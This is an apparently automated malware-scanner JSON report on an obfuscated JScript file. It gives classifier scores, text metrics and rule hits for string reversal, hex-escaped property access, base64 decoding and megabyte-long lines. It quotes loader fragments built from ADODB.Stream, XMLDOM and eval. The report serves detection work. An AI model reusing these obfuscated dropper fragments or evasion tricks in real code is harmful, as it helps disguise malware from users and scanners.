{
  "ml": {
    "v": "5",
    "fs": [
      {
        "id": 0,
        "prob": 1.0,
        "class": 2,
        "threshold": 0.9984939694404602
      }
    ],
    "prob": 1.0,
    "class": 2,
    "level": 3,
    "models": [
      {
        "m": "az",
        "prob": 0.8911782,
        "class": 0
      },
      {
        "m": "az/scripts",
        "prob": 0.916849,
        "class": 0
      },
      {
        "m": "az/javascript",
        "prob": 1.0,
        "class": 2
      }
    ],
    "version": "v17.17",
    "threshold": 0.99849397,
    "analyzed_at": "2026-05-31T09:39:28Z"
  },
  "path": "e393a0123c757e1984e54afb1f82a2db387b90f3921cf9a0510a469304fe247d.js",
  "raw": {
    "v": "5",
    "fs": [
      {
        "f": "O(As₃)Md",
        "x": 35,
        "ff": {
          "m": {
            "file": {
              "size": 4237487.0,
              "entropy": 4.66,
              "size_bytes": 4237487.0
            },
            "text": {
              "tab_count": 31.0,
              "digit_ratio": 0.23,
              "space_count": 92.0,
              "total_lines": 26.0,
              "char_entropy": 4.66,
              "unique_chars": 84.0,
              "escape_density": 0.0,
              "lines_over_200": 5.0,
              "lines_over_500": 1.0,
              "avg_line_length": 162979.31,
              "lines_over_1000": 1.0,
              "max_line_length": 4235140.0,
              "empty_line_ratio": 0.15,
              "hex_escape_count": 120.0,
              "last_line_length": 149.0,
              "long_token_count": 5.0,
              "whitespace_ratio": 0.0,
              "most_common_ratio": 0.07,
              "line_length_stddev": 814432.14,
              "unicode_escape_count": 37.0,
              "most_common_char_is_null": 0.0,
              "max_inline_whitespace_run": 1.0,
              "trailing_whitespace_lines": 2.0,
              "most_common_char_codepoint": 48.0
            }
          },
          "s": [
            [
              65,
              "unicode-escape",
              "String[\"prototype\"][\"undefined\"] = function(xx, xy) {"
            ],
            [
              188,
              "unicode-escape",
              "String.prototype.mouse = {mp3: function(){var d = \"\";for(var i=0; i\u003cthis.toString().length; i++){d = eval(\"var cd = this.toStrin"
            ],
            [
              431,
              "unicode-escape",
              "var m3MorYkAd = [null,"
            ],
            [
              499,
              "unicode-escape",
              "(\"CreateObject\"+\"txeTdaeR|\".mouse()+\"|undefined|adodb.|\"+\"noitisoP|teSrahC\".mouse()).split(\"|\").concat(\"epyT\".mouse(), \"nepO\".mo"
            ],
            [
              797,
              "unicode-escape",
              "Array.prototype.om0l4d3 = function() {var hYiUrF = arguments; return this[0][\"replace\"](exp, function(k3tTlE0, k3tTlE1) { try{\tr"
            ],
            [
              1026,
              "base64",
              "]();\r\nfor(i = 0; i \u003c CXUI_W"
            ],
            [
              4236493,
              "unicode-escape",
              "oMut1 = [Array(WSH[m3MorYkAd[1][0]]([\"ad{0}b.{1}re{2}\"].om0l4d3(\"od\", \"st\", \"am\")),WSH[m3MorYkAd[1][0]](\"microsoft.xmldom\")[Arra"
            ],
            [
              4236947,
              "unicode-escape",
              "Array.prototype.k4Rd3 = \"m3MorYkAd = [eval, m3MorYkAd[4](), [m3MorYkAd[1][1]]];\";"
            ]
          ],
          "v": {
            "file.stem": "e393a0123c757e1984e54afb1f82a2db387b90f3921cf9a0510a469304fe247d",
            "file.basename": "e393a0123c757e1984e54afb1f82a2db387b90f3921cf9a0510a469304fe247d.js",
            "source.strings[0]": "(\"CreateObject\"+\"txeTdaeR|\".mouse()+\"|undefined|adodb.|\"+\"noitisoP|teSrahC\".mouse()).split(\"|\").concat(\"epyT\".mouse(), \"nepO\".mouse())];",
            "source.strings[1]": "Array.prototype.k4Rd3 = \"m3MorYkAd = [eval, m3MorYkAd[4](), [m3MorYkAd[1][1]]];\";",
            "source.strings[2]": "Array.prototype.om0l4d3 = function() {var hYiUrF = arguments; return this[0][\"replace\"](exp, function(k3tTlE0, k3tTlE1) { try{\treturn hYiUrF[k3tTlE1];}catch(ex){\treturn k3tTlE0;}});}",
            "source.strings[3]": "String.prototype.mouse = {mp3: function(){var d = \"\";for(var i=0; i\u003cthis.toString().length; i++){d = eval(\"var cd = this.toString().substr(i, 1);cd;\") + d;}return d;}}.mp3;",
            "source.strings[4]": "String[\"prototype\"][\"undefined\"] = function(xx, xy) {",
            "source.strings[5]": "]();\r\nfor(i = 0; i \u003c CXUI_W",
            "source.strings[6]": "oMut1 = [Array(WSH[m3MorYkAd[1][0]]([\"ad{0}b.{1}re{2}\"].om0l4d3(\"od\", \"st\", \"am\")),WSH[m3MorYkAd[1][0]](\"microsoft.xmldom\")[Array(\"createEl\",\"m\",\"nt\").join(\"e\")](\"bst\"),[\"us-ascii\"]),function(){return m3MorYkAd[3][0];},function(){for(var p=0; p\u003cm3MorYkAd[2].length; p++){eval(m3MorYkAd[2][p]);}}];",
            "source.strings[7]": "var m3MorYkAd = [null,"
          },
          "id": "javascript"
        },
        "id": 0,
        "sz": 4237487,
        "ts": [
          {
            "c": 0.9200000166893005,
            "d": "Large minified JavaScript bundle",
            "e": [
              "text.max_line_length = 4235140.00"
            ],
            "i": "metadata/library/structure::js-large-minified-bundle",
            "l": 2
          },
          {
            "c": 0.8999999761581421,
            "d": "Very long line",
            "e": [
              "text.max_line_length = 4235140.00"
            ],
            "i": "metadata/file/text/metrics::single-long-line",
            "l": 1
          },
          {
            "c": 1.0,
            "d": "toString method token",
            "e": [
              "toString"
            ],
            "i": "micro-behaviors/data/encode/tostring::tostring-token",
            "l": 1
          },
          {
            "a": "T1027",
            "c": 0.9300000071525574,
            "d": "Regex component marker",
            "e": [
              ").join"
            ],
            "i": "objectives/anti-static/obfuscation/string/reverse::js-reverse-split-then-decode--rx-3",
            "l": 1,
            "m": "B0032"
          },
          {
            "c": 0.8799999952316284,
            "d": "Indirect bracketed WScript command invocation",
            "e": [
              "this[0][\"replace\"](exp, function(k3tTlE0, k3tTlE1)"
            ],
            "i": "micro-behaviors/process/create/shell/wsh::wscript-shell-run-indirect",
            "l": 1
          },
          {
            "c": 0.949999988079071,
            "d": "JavaScript or TypeScript basename",
            "e": [
              "e393a0123c757e1984e54afb1f82a2db387b90f3921cf9a0510a469304fe247d.js"
            ],
            "i": "metadata/lang/source::js-ts-source-basename",
            "l": 2
          },
          {
            "a": "T1027",
            "c": 0.9300000071525574,
            "d": "Regex component marker",
            "e": [
              ".split("
            ],
            "i": "objectives/anti-static/obfuscation/string/reverse::js-reverse-split-then-decode--rx-4",
            "l": 1,
            "m": "B0032"
          },
          {
            "c": 0.9700000286102295,
            "d": "Validation vocabulary string",
            "e": [
              "String"
            ],
            "i": "metadata/file/text/format::vocab-string",
            "l": 1
          },
          {
            "a": "T1027",
            "c": 0.8999999761581421,
            "d": "Exactly one line exceeds 1000 chars",
            "e": [
              "text.lines_over_1000 = 1.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::single-long-line-outlier",
            "l": 1,
            "m": "B0032"
          },
          {
            "c": 0.8999999761581421,
            "d": "Medium minified JavaScript line",
            "e": [
              "text.max_line_length = 4235140.00"
            ],
            "i": "metadata/library/structure::js-medium-minified-line",
            "l": 1
          },
          {
            "c": 0.949999988079071,
            "d": "eval/new Function call (flatted tamper fragment)",
            "e": [
              "eval("
            ],
            "i": "well-known/lib/flatted::flatted-tamper-eval",
            "l": 1
          },
          {
            "c": 1.0,
            "d": "JavaScript undefined literal",
            "e": [
              "undefined"
            ],
            "i": "metadata/lang/scripted::undefined-literal",
            "l": 1
          },
          {
            "a": "T1027",
            "c": 0.9300000071525574,
            "d": "Regex component marker",
            "e": [
              ".split("
            ],
            "i": "objectives/anti-static/obfuscation/string/reverse::js-decode-then-reverse-split--rx-9",
            "l": 1,
            "m": "B0032"
          },
          {
            "c": 1.0,
            "d": "Plain JavaScript identifier assignment",
            "e": [
              "oMut1 = null;"
            ],
            "i": "metadata/lang/scripted::plain-js-identifier-assignment",
            "l": 1
          },
          {
            "c": 1.0,
            "d": "Obfuscated String method call (String[...])",
            "e": [
              "String["
            ],
            "i": "micro-behaviors/data/source/syntax/keyword::js-obfuscated-string-method",
            "l": 2
          },
          {
            "c": 1.0,
            "d": "JavaScript file basename",
            "e": [
              "e393a0123c757e1984e54afb1f82a2db387b90f3921cf9a0510a469304fe247d.js"
            ],
            "i": "metadata/lang/encoded/unicode-escape::javascript-or-dll-basename",
            "l": 1
          },
          {
            "c": 0.9700000286102295,
            "d": "Validation vocabulary array",
            "e": [
              "Array"
            ],
            "i": "metadata/file/text/format::vocab-array",
            "l": 1
          },
          {
            "a": "T1027",
            "c": 0.9300000071525574,
            "d": "Regex component marker",
            "e": [
              ").join"
            ],
            "i": "objectives/anti-static/obfuscation/string/reverse::js-decode-then-reverse-split--rx-8",
            "l": 1,
            "m": "B0032"
          },
          {
            "a": "T1027",
            "c": 0.949999988079071,
            "d": "Regex component marker",
            "e": [
              ".split("
            ],
            "i": "objectives/anti-static/obfuscation/string/reverse::js-reverse-then-eval--rx-13",
            "l": 1,
            "m": "B0032"
          },
          {
            "a": "T1027.002",
            "c": 0.8999999761581421,
            "d": "LZString decoded value split call",
            "e": [
              ").split(\"|\")"
            ],
            "i": "objectives/anti-static/obfuscation/string/encoding::js-lzstring-table-split-call",
            "l": 1,
            "m": "B0032"
          },
          {
            "a": "T1195.002",
            "c": 0.949999988079071,
            "d": "A single line exceeds 50,000 characters",
            "e": [
              "text.max_line_length = 4235140.00"
            ],
            "i": "objectives/supply-chain/hidden-payload/runtime::high-max-line-length",
            "l": 1
          },
          {
            "c": 0.8399999737739563,
            "d": "ANSI terminal erase operation",
            "e": [
              "[k"
            ],
            "i": "micro-behaviors/ui/terminal::ansi-erase-op",
            "l": 1
          },
          {
            "c": 1.0,
            "d": ".toString() method call",
            "e": [
              ".toString()"
            ],
            "i": "micro-behaviors/data/encode/tostring::tostring-call",
            "l": 1
          },
          {
            "c": 0.8399999737739563,
            "d": "Regex component marker",
            "e": [
              "join("
            ],
            "i": "micro-behaviors/fs/file/read::require-cwd-package-json--rx-4",
            "l": 1
          },
          {
            "a": "T1027.010",
            "d": "Custom base64 decode lookup table",
            "e": [
              "}XYkWzU3XV0oaUJrcHV2JFs0XSk7DQp2YXIgS05DeFNlY1B1ZyA9IHNoW2lCa3B1{"
            ],
            "i": "micro-behaviors/data/encode/base64::decode-table",
            "l": 2,
            "m": "B0032.001"
          },
          {
            "c": 0.8199999928474426,
            "d": "JavaScript static key string assignment",
            "e": [
              "= '{1}mFyIGlCa3B1{1}iQgPSBbIl{0}4NT{1}ceDY5XHg2RV{0}4NjRceDZGXHg3N1{0}4NzNceDIwXHg1Ml{0}4NjVceDY3XHg2OV{0}4NzNceDc0XHg3Ml{0}4Nzl"
            ],
            "i": "micro-behaviors/crypto/symmetric/aes/library::js-static-key-string-assignment",
            "l": 1
          },
          {
            "c": 0.30000001192092896,
            "d": "for loop (content)",
            "e": [
              "\nfor("
            ],
            "i": "micro-behaviors/data/control-flow/analysis::for-loop-content",
            "l": 2
          },
          {
            "a": "T1027",
            "c": 0.949999988079071,
            "d": "Regex component marker",
            "e": [
              ").join"
            ],
            "i": "objectives/anti-static/obfuscation/string/reverse::js-reverse-then-eval--rx-12",
            "l": 1,
            "m": "B0032"
          },
          {
            "c": 1.0,
            "d": "JavaScript length property",
            "e": [
              "length"
            ],
            "i": "metadata/lang/scripted::length-prop",
            "l": 1
          },
          {
            "c": 0.699999988079071,
            "d": "Writing data to buffer at calculated offset",
            "e": [
              "[h+3] = x"
            ],
            "i": "micro-behaviors/data/buffer::offset-write",
            "l": 2
          },
          {
            "c": 0.800000011920929,
            "d": "Property access via hex-escaped string in brackets",
            "e": [
              "[\"\\x75\\x6E\\x64\\x65\\x66\\x69\\x6E\\x65\\x64\"]"
            ],
            "i": "objectives/anti-static/obfuscation/string/dynamic::hex-escaped-bracket-property",
            "l": 4
          },
          {
            "c": 0.8999999761581421,
            "d": "Prototype guard keyword",
            "e": [
              "prototype"
            ],
            "i": "micro-behaviors/data/source/prototype::js-proto-guard-prototype",
            "l": 2
          },
          {
            "a": "T1027",
            "c": 0.8999999761581421,
            "d": "JS/TS line exceeds 1 MB",
            "e": [
              "text.max_line_length = 4235140.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/line-shape::js-megabyte-single-line",
            "l": 3,
            "m": "B0032"
          },
          {
            "a": "T1027",
            "c": 0.699999988079071,
            "d": "Very low whitespace ratio (minified/compressed)",
            "e": [
              "text.whitespace_ratio = 0.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::low-whitespace",
            "l": 2,
            "m": "B0032"
          },
          {
            "a": "T1027",
            "c": 0.8799999952316284,
            "d": "Single-line packed JavaScript loader profile",
            "e": [
              "text.max_line_length = 4235140.00"
            ],
            "i": "objectives/supply-chain/hidden-payload/trojan::single-line-packed-loader-metrics",
            "l": 1,
            "m": "B0032"
          },
          {
            "a": "T1027",
            "c": 0.8999999761581421,
            "d": "Excessively long lines (\u003e1MB)",
            "e": [
              "Detected line(s) exceeding 1MB (potential anti-analysis technique)"
            ],
            "i": "objectives/anti-static/excessive-line-length",
            "l": 3
          },
          {
            "c": 0.8999999761581421,
            "d": "Decoded unicode-escape content",
            "e": [
              "String[\"prototype\"][\"undefined\"] = funct \u003cunicode-escape\u003e",
              "(\"CreateObject\"+\"txeTdaeR|\".mouse()+\"|un \u003cunicode-escape\u003e",
              "String.prototype.mouse = {mp3: function( \u003cunicode-escape\u003e",
              "Array.prototype.om0l4d3 = function() {va \u003cunicode-escape\u003e",
              "oMut1 = [Array(WSH[m3MorYkAd[1][0]]([\"ad \u003cunicode-escape\u003e",
              "Array.prototype.k4Rd3 = \"m3MorYkAd = [ev \u003cunicode-escape\u003e"
            ],
            "i": "metadata/encoded-payload/unicode-escape",
            "l": 2,
            "el": [
              "offset:65",
              "offset:499",
              "offset:188",
              "offset:797",
              "offset:4236493",
              "offset:4236947"
            ]
          },
          {
            "c": 0.8999999761581421,
            "d": "Encoded payload detected: base64",
            "e": [
              "](); for(i = 0; i \u003c CXUI_W \u003cbase64\u003e"
            ],
            "i": "metadata/encoded-payload/base64",
            "l": 3,
            "el": [
              "offset:1026"
            ]
          }
        ],
        "sha": "e393a0123c757e1984e54afb1f82a2db387b90f3921cf9a0510a469304fe247d",
        "path": "e393a0123c757e1984e54afb1f82a2db387b90f3921cf9a0510a469304fe247d.js",
        "type": "javascript"
      }
    ],
    "tv": "52045"
  }
}